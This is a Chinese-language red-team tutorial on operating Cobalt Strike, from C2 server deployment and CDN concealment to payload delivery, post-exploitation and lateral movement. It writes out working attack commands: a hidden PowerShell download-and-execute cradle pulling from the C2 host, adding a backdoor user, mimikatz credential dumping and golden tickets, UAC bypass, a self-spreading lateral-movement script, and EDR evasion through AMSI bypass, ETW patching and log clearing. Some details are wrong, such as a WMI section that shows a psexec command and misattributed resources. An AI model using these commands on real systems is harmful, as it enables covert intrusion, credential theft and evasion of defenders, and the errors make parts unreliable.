)
前言Cobalt Strike简称CS是Fortra原HelpSystems公司开发的商业化高级威胁模拟工具广泛应用于红队评估、渗透测试和APT攻防演练。在网络安全圈内CS被公认为红队神器它支持Beacon隐蔽通信、钓鱼攻击、后渗透操作、横向移动等全流程功能几乎是每一个红队工程师必备的核心武器。与大家熟悉的Metasploit相比两者定位存在明显差异。Metasploit更偏向漏洞利用和单兵作战擅长Exploit开发和Payload投递而Cobalt Strike则更侧重于隐蔽通信、团队协作和长期驻留它独创的Beacon通信机制和Malleable C2定制能力使其在实战红队项目中拥有无可替代的地位。大型红队项目通常以CS作为团队指挥中枢多人协同操作、共享Session和数据。【警告】本文所述技术仅用于授权的安全测试、红队评估和教学研究。未经授权对他人系统使用Cobalt Strike及相关技术属于违法行为可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条非法侵入计算机信息系统罪等相关法律。请读者务必在合法授权环境下学习使用作者不对任何滥用行为承担责任。一、Cobalt Strike概述1.1 CS简介Cobalt Strike是一款商业化红队工具采用C/SClient/Server架构设计由Team Server服务端和Client客户端两部分组成。Team Server负责管理所有Beacon代理、监听器、操作日志和共享数据Client则是图形化操作界面多个红队成员可以同时连接同一个Team Server实现真正的团队协同作战。CS的核心设计理念是模拟高级持续性威胁APT它不追求一次性攻破而是强调隐蔽、持久、可控的作战方式这也是它深受专业红队青睐的原因。1.2 CS版本说明Cobalt Strike目前主要有以下几种版本- 官方版Licensed正版授权售价约5950美元/年/用户功能完整提供官方技术支持和版本更新。最新版本为4.x系列支持BOF、 sleep_mask、NTLM中继等高级特性。- 社区版Limited Feature早期提供的免费版本功能受限仅包含基础Metasploit框架集成目前官方已停止更新维护。- 破解版互联网流传的各类破解/汉化版本。【警告】破解版Cobalt Strike存在严重安全隐患破解者可能在二进制文件中植入后门、窃取Team Server密码、监控操作数据甚至反向控制攻击者自身主机。历史上已多次发生使用破解版导致红队行动数据泄露的事件。强烈建议仅在合法授权环境中使用官方正版企业红队应通过正规渠道购买授权。1.3 CS核心概念| 概念 | 说明 || Team Server | 服务端进程管理所有Beacon、监听器、操作日志和共享数据通常部署在VPS或内网服务器上 || Client | 客户端界面红队成员通过它连接Team Server进行图形化操作支持多人同时连接 || Beacon | 植入目标主机的代理程序CS的灵魂组件支持异步通信、心跳回连、命令队列执行 || Listener | 监听器运行在Team Server上负责接收Beacon回连请求并下发指令 || Malleable C2 | 可定制C2通信特征通过Profile文件自定义HTTP请求/响应特征伪装为正常Web流量 || Aggressor Script | CS内置的自动化脚本语言基于Sleep语法用于扩展功能、自动化操作和UI定制 |理解这些核心概念是掌握Cobalt Strike的基础后续章节会围绕这些组件展开详细实战讲解。二、环境部署2.1 Team Server部署Team Server是整个CS架构的核心通常部署在公网VPS或内网跳板机上。系统要求推荐Ubuntu 20.04 LTS及以上版本4GB以上内存20GB硬盘空间需要Java运行环境支持。JDK环境配置sudo apt updatesudo apt install openjdk-11-jdk -yjava -version将CS安装包上传至服务器后解压赋予执行权限即可启动Team Server./teamserver 192.168.1.100 mypassword参数说明- 第一个参数192.168.1.100Team Server对外监听的IP地址通常为VPS公网IP。- 第二个参数mypasswordTeam Server连接密码建议使用强密码至少12位包含大小写字母、数字和特殊字符。- 第三个参数可选Malleable C2 Profile文件路径指定自定义通信特征。- 第四个参数可选Kill DateBeacon到期自毁日期。【提示】首次启动Team Server会自动生成.cobaltstrike.cn文件含团队证书后续启动会复用该证书。删除该文件可重新生成证书但会导致已上线Beacon无法识别。2.2 Client连接在Windows操作系统中解压客户端程序后双击运行cobaltstrike.bat或client.bat启动客户端。连接界面需要填写以下信息- HostTeam Server的IP地址与启动时第一个参数一致- Port默认50050可在teamserver脚本中修改- User自定义用户名用于团队协作时识别操作者- PasswordTeam Server启动时设置的密码填写完成后点击Connect首次连接会弹出证书确认框点击Yes即可进入主界面。2.3 CDN伪装部署在真实红队行动中直接暴露Team Server IP极易被威胁情报标记。使用Cloudflare CDN隐藏真实IP是常见做法。域名配置步骤1. 在域名注册商处将域名NS记录修改为Cloudflare提供的NS服务器。2. 在Cloudflare控制台添加A记录指向VPS真实IP开启橙色云朵代理模式。3. 在CS上配置CDN Profile将通信Host指向自定义域名。CDN Profile关键配置http-get {set uri /jquery-3.6.0.min.js;client {header Host www.yourdomain.com;metadata {base64url;prepend jquery;header Cookie;}}server {header Server cloudflare;header Content-Type application/javascript;output {base64url;prepend /*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n;append ;\nwindow.jQuery;print;}}}2.4 云服务器部署注意事项- 安全组放行端口需放行Team Server通信端口如443、80和Client连接端口50050。50050端口建议仅放行红队成员IP。- 域名解析确保域名已正确解析到VPS使用dig或nslookup验证。- 证书配置如使用HTTPS Listener需配置合法SSL证书可使用Lets Encrypt免费申请或Cloudflare Origin Certificate。- 防火墙策略建议使用iptables限制50050端口来源IP防止Team Server被未授权扫描和爆破。三、Listener监听器配置3.1 监听器类型监听器是Team Server接收Beacon回连的入口CS支持多种协议的监听器适用于不同的网络环境。| 监听器类型 | 协议 | 特点 | 适用场景 || HTTP Beacon | HTTP | 标准HTTP通信流量明文隐蔽性中等 | 出网受限较少的环境 || HTTPS Beacon | HTTPS | 加密HTTP通信防中间人嗅探推荐使用 | 生产环境、企业内网首选 || DNS Beacon | DNS | 通过DNS协议通信隐蔽性高穿透防火墙能力强 | 严格出网限制、仅允许DNS出网的环境 || SMB Beacon | 命名管道 | 通过Windows命名管道通信不走网络层 | 内网横向移动、跳板通信 || TCP Beacon | TCP | 建立TCP连接通信灵活但易留连接日志 | 内网跳板、端口转发场景 |3.2 创建监听器操作步骤1. 打开Cobalt Strike客户端顶部菜单栏点击Cobalt Strike → Listeners。2. 在Listeners窗口中点击Add按钮。3. 在弹出的配置界面填写- Name监听器名称如https_443- Payload选择Beacon类型如Beacon HTTPS- HostTeam Server IP或域名- Port监听端口如4434. 点击Save保存监听器状态显示为OK即创建成功。【提示】可创建多个监听器用于不同阶段。例如公网使用HTTPS Beacon上线内网横向时使用SMB Beacon。3.3 SMB Beacon配置SMB Beacon通过Windows命名管道通信不产生独立网络连接特别适合内网横向移动场景。创建SMB监听器时关键配置- Payload选择Beacon SMB- Pipe Name自定义命名管道名称建议伪装为常见系统管道名如srvsvc、lsass等Pipe Name: srvsvc使用SMB Beacon横向时目标主机与跳板机之间通过命名管道通信Team Server无需直接连接目标极大降低了网络流量特征。3.4 DNS Beacon配置DNS Beacon适用于出网严格限制的环境通过DNS查询外发数据。DNS域名解析配置1. 在域名服务商处添加NS记录将子域名dns.yourdomain.com指向Team Server IP。2. 创建DNS监听器Payload选择Beacon DNSHost填写dns.yourdomain.com。使用nslookup验证DNS解析是否正常nslookup dns.yourdomain.comnslookup www.baidu.com dns.yourdomain.com如果Team Server能正确响应DNS查询说明配置成功。上线后可通过mode命令切换DNS通信模式mode dns-txtmode dns6四、Beacon生成与植入4.1 Payload生成CS支持两种Payload传输方式- Staged Payload分阶段传输先投递一个小体积LoaderStagerStager执行后通过监听器下载完整BeaconStage到内存。优点是投递体积小缺点是下载Stage阶段会产生明显流量特征。- Stageless Payload一次性完整传输直接投递包含完整Beacon代码的Payload体积较大但避免了分阶段下载特征规避Stager检测。| 特性 | Staged | Stageless || 体积 | 小几KB | 大几百KB || 检测规避 | 易被检测下载阶段 | 无下载特征 || 网络请求 | 需二次回连下载Stage | 单次通信 || 适用场景 | 钓鱼附件、体积敏感场景 | EDR防护较强、需规避分阶段检测 || 执行速度 | 较慢需下载 | 快直接执行 |4.2 常见Payload格式- Windows Executableexe标准可执行文件最直接的上线方式。- Windows Service EXE服务型EXE适合通过psexec进行横向移动时投递。- Windows DLLDLL文件可通过rundll32加载或DLL注入到合法进程。- PowerShellone-liner脚本可内存执行不落盘常用于钓鱼和Webshell执行。- Raw原始shellcode可嵌入自定义Loader灵活性最高适合免杀定制。4.3 Beacon上线方式直接执行exeshell C:\payload.exePowerShell执行内存加载不落盘powershell-import /path/to/PowerView.ps1powershell Get-NetUser也可使用powershell命令直接执行CS生成的one-linerpowershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://192.168.1.100/a))DLL注入rundll32加载rundll32.exe C:\payload.dll,StartShellcode注入自定义Loader注入到合法进程如explorer.exeinject explorer.exe x64钓鱼文档投放常见方式包括- 宏文档利用VBA宏调用PowerShell执行Payload。- HTA文件HTML Application结合JavaScript执行命令。- LNK快捷方式伪装图标指向恶意命令。# 生成HTA钓鱼文件Attacks → Packages → HTML Application选择Payload和监听器生成.hta文件五、后渗透操作详解5.1 Beacon交互命令大全Beacon上线后在CS界面双击Beacon即可打开交互命令行。以下是常用命令汇总| 命令 | 功能 | 示例 || help | 查看所有可用命令帮助 | help || shell cmd | 通过cmd执行命令 | shell whoami || run command | 直接执行程序不通过shell | run notepad.exe || execute command | 后台执行程序 | execute C:\tool.exe || powershell module | 执行PowerShell模块 | powershell Get-Process || upload | 上传文件到目标 | upload C:\payload.exe || download | 下载目标文件 | download C:\secret.txt || ps | 查看进程列表 | ps || pwd | 查看当前目录 | pwd || cd | 切换目录 | cd C:\Users || screenshot | 截屏 | screenshot || keylogger | 键盘记录 | keylogger 60 || portscan | 端口扫描 | portscan 192.168.1.0/24 445 || netview | 网络发现 | netview || hashdump | 导出SAM哈希 | hashdump || mimikatz | 运行mimikatz命令 | mimikatz sekurlsa::logonpasswords || runas | 以其他用户身份执行 | runas user password cmd || psexec_psh | psexec横向移动 | psexec_psh DOMAIN user pass || jump | 执行横向移动模块 | jump psexec_psh TARGET || spawn | 派生新Beacon | spawn x64 https_443 || inline-execute | 内存执行.NET程序集 | inline-execute Rubeus.exe |5.2 文件操作实战上传文件到目标主机upload C:\tools\mimikatz.exe下载目标文件到本地download C:\Users\admin\Desktop\secret.txt也可以通过CS图形界面的File Browser进行可视化文件浏览右键文件选择Download即可下载支持批量操作。【提示】上传大文件时建议分块或压缩避免长时间占用Beacon通信通道导致命令队列阻塞。5.3 进程操作查看目标进程列表ps注入Beacon到指定进程用于权限维持和迁移inject 1234 x64其中1234为目标进程PIDx64为架构也可选x86。窃取进程令牌令牌模拟steal 5678阻止非Microsoft DLL加载防止EDR注入监控DLLblockdlls onblockdlls是免费版也支持的功能执行后Beacon子进程将阻止非Microsoft签名DLL加载有效降低EDR检测。5.4 权限提升runasadmin以管理员权限执行命令会触发UAC弹窗runasadmin cmd.exe net user hacker Pss123 /addbypassuac绕过UACCOM组件绕过不弹窗提权elevator comhijack或使用Aggressor Script调用bypassuac模块beacon_command($bid, elevator, comhijack);【注意】bypassuac仅适用于当前用户已在管理员组但UAC限制的场景普通用户需先获取本地管理员权限。5.5 Mimikatz集成CS深度集成了mimikatz无需上传即可在内存中执行导出SAM数据库哈希hashdump直接执行mimikatz命令mimikatz sekurlsa::logonpasswordsmimikatz lsadump::sam抓取明文凭证需禁用Credential Guardmimikatz sekurlsa::wdigest查看Kerberos票据mimikatz kerberos::list制作黄金票据需krbtgt哈希mimikatz kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:NTLMHASH /ptt【警告】执行mimikatz可能被EDR告警建议先执行blockdlls on并使用BOF替代部分mimikatz功能以降低检测概率。六、横向移动6.1 SMB Beacon横向原理SMB Beacon通过Windows命名管道Named Pipe与目标通信数据走SMB协议445端口。由于跳板机和目标机之间已有合法SMB连接不会产生新的独立网络连接日志隐蔽性较高。操作步骤1. 确保已有目标管理员凭据或NTLM Hash。2. 右键已上线的Beacon → Jump → psexec_psh或psexec / smb_beacon。3. 选择目标主机和凭据点击Launch。前提条件- 已获取目标管理员账号密码或Hash。- 跳板机与目标机445端口可达。- 目标机admin$可访问。6.2 WinRM横向原理利用Windows远程管理WinRM服务通过5985HTTP或5986HTTPS端口远程执行命令。操作步骤右键Beacon → Jump → winrm选择凭据和目标即可。WinRM横向要求目标启用WinRM服务现代Windows默认开启。6.3 WMI横向原理利用WMIWindows Management Instrumentation接口远程执行命令走135端口和动态RPC端口。jump psexec_psh 192.168.1.50 corp\adminWMI横向较隐蔽但执行后需另起Beacon接收回连。6.4 横向移动对比| 方式 | 协议 | 端口 | 前提条件 | 隐蔽性 || SMB Beacon | SMB/命名管道 | 445 | 管理员凭据、admin$共享可访问 | 高不产生独立连接日志 || WinRM | WS-Management | 5985/5986 | 管理员凭据、WinRM服务启用 | 中 || WMI | DCOM/RPC | 135动态 | 管理员凭据 | 中高 || PsExec | SMB | 445 | 管理员凭据、admin$共享可访问 | 低创建服务留日志 |【提示】实战中优先使用SMB Beacon隐蔽性最高。psexec_psh会创建服务和执行PowerShell日志特征明显需谨慎使用。七、Cobalt Strike高级功能7.1 Malleable C2 Profile作用Malleable C2 Profile允许自定义Beacon的HTTP通信特征将C2流量伪装为正常Web应用流量如jQuery、Apache、Nginx等有效规避流量检测设备。启动Team Server时指定Profile./teamserver 192.168.1.100 mypassword my.profile伪装为jQuery请求的完整Profile配置示例set sample_name jQuery C2;set sleeptime 60000;set jitter 30;set useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36;http-get {set uri /jquery-3.6.0.min.js;client {metadata {base64url;prepend jquery;header Cookie;}}server {header Server nginx/1.21.6;header Content-Type application/javascript;output {base64url;prepend /*! jQuery v3.6.0 */\n;append ;window.jQuery;print;}}}http-post {set uri /api/update;client {header Content-Type application/x-www-form-urlencoded;id {base64url;prepend session;append ;}output {base64url;print;}}server {header Server nginx/1.21.6;output {base64url;print;}}}常见伪装Profile推荐- jQuery伪装为前端CDN请求最常用。- Apache伪装为Apache默认页面。- Nginx伪装为Nginx服务器响应。- Amazon伪装为AWS API请求。7.2 CrossC2跨平台BeaconCrossC2插件支持生成Linux和macOS平台的Beacon扩展了CS的操作系统能力。生成Linux Beacon命令CrossC2 gen -b https_443 -o linux_beacon -t Linux生成macOS Beacon命令CrossC2 gen -b https_443 -o mac_beacon -t MacOS【注意】CrossC2为第三方插件需单独下载集成到CS中官方版默认不支持Linux/macOS。7.3 Aggressor ScriptAggressor Script是CS内置的自动化脚本语言基于Sleep语法开发可用于扩展功能、自动化操作和UI定制。常用API- barchart绘制图表。- beacon_info获取Beacon信息。- beacon_command向Beacon发送命令。- beacon_execute执行Beacon命令。- alert弹出提示。示例脚本自动端口扫描后对存活主机执行横向移动command auto-scan {$target $3;bportscan($1, $target, 445, 50);}alias auto-lateral {bportscan($1, $2, 445, 50);binput($1, Scanning $2);}on beacon_output {if ($3 eq portscan) {$hosts parseHosts($4);foreach $host ($hosts) {binput($1, Auto lateral to $host);bjump($1, psexec_psh, $host);}}}加载脚本Cobalt Strike → Script Manager → Load → 选择.cna文件。7.4 BOFBeacon Object Files原理BOF是编译为COFFCommon Object File Format格式的代码对象在Beacon进程内直接执行无需落盘、无需创建新进程规避EDR检测能力极强。与反射式DLL注入的区别- 反射式DLL需在内存中加载完整DLL内存占用大特征明显。- BOF仅执行函数级代码轻量、快速、内存特征少。常用BOF列表| BOF名称 | 功能 | 来源 || bof-netExec | 网络执行命令 | GitHub开源 || bof-hashdump | 导出SAM哈希 | TrustedSec || bof-ngrok | 内网穿透 | 社区开发 || bof-tasklist | 任务列表 | CS官方示例 || bof-ipconfig | 网络配置 | CS官方示例 || BOF-RegSave | 注册表导出 | RastaMouse || situational-awareness | 情报收集套件 | TrustedSec |使用命令inline-execute /path/to/bof.x64.o argument1 argument2【提示】BOF是当前红队对抗EDR的利器建议深入学习COFF开发和TrustedSec的SA套件。八、隐蔽与检测对抗8.1 内存特征修改sleep_mask模块Beacon在睡眠期间对自身内存进行加密规避内存扫描。sleep_mask启用后Beacon睡眠时内存被加密唤醒时解密执行有效对抗Volatility等内存取证工具。Beacon Stage修改调整进程注入策略设置spawn-to进程为合法系统进程。set spawnto_x64 %windir%\\System32\\svchost.exe;set spawnto_x86 %windir%\\SysWOW64\\svchost.exe;8.2 流量特征伪装修改Profile中的User-Agent为常见浏览器特征set useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36;增加Jitter回连抖动避免规律性心跳set jitter 30;修改Sleep时间设置较长睡眠间隔降低回连频率set sleep 60 30【注意】Sleep时间过短如5秒会产生高频流量极易被流量分析设备标记。建议生产环境Sleep设为60秒以上Jitter设为30%以上。8.3 防检测技巧- blockdlls on阻止非Microsoft DLL加载防止EDR注入监控DLL到Beacon子进程。- 使用BOF替代shell命令BOF在进程内执行不创建子进程减少Sysmon日志和进程树异常。- spawn-to设为合法进程如svchost.exe、explorer.exe使注入行为伪装为系统进程。- 避免使用psexec_psh会创建服务和执行PowerShell日志特征明显。EDR检测对抗思路表格| 检测方式 | 检测特征 | 对抗方法 || 内存扫描 | Beacon内存特征码 | sleep_mask加密内存、修改Stage特征 || 流量分析 | 规律性HTTP回连心跳 | Malleable C2定制、增加Jitter、延长Sleep || 进程监控 | 子进程异常创建cmd/powershell | 使用BOF代替shell、blockdlls on || 行为分析 | mimikatz执行、hashdump行为 | 使用BOF替代mimikatz、分散操作时间 || 文件落盘 | Payload文件扫描 | 使用Stageless内存执行、PowerShell内存加载 || ETW日志 | .NET程序集加载事件 | inline-execute前patch ETW || Sysmon日志 | 进程创建、网络连接记录 | 规避高日志行为、操作后清理日志 || AMSI检测 | PowerShell脚本扫描 | 使用AMSI bypass、加密混淆脚本 |【警告】EDR对抗是猫鼠游戏没有绝对免杀的方法。随着EDR技术演进对抗手段也需持续更新。建议红队建立自己的免杀工具链和BOF库定期更新对抗策略。九、总结Cobalt Strike作为红队核心工具其功能远不止本文所述。掌握CS的关键在于理解其设计哲学——隐蔽优先、团队协作、长期驻留。CS使用核心原则- 隐蔽优先所有操作以不触发告警为第一准则宁可慢不可暴露。- 最小操作只做必要操作避免过多动作留下痕迹。- 团队协作充分利用Team Server共享能力多人分工协同。- 日志审计行动结束后清理日志保持环境干净。推荐学习资源- Cobalt Strike官方手册manual.pdf随软件附带。- RastaMouse的CS笔记GitHub: rsmudge/Malleable-C2-Profiles。- Attack-Safety博客attack-safety.github.ioCS深度技术文章。- TrustedSec BOF套件GitHub: trustedsec/CS-Situational-Awareness-BOF。- Yahoo的Malleable C2 Profile库GitHub: xx0hcd/Malleable-C2-Profiles。红队之路漫长而有趣Cobalt Strike只是起点。希望本文能帮助初学者快速上手在合法授权的实战中不断精进技术。安全技术的终极目标是让世界更安全而非制造破坏。【提示】本文为技术教学文章请读者务必遵守法律法规仅在授权范围内使用相关技术。学习安全技术的初心是守护而非攻击。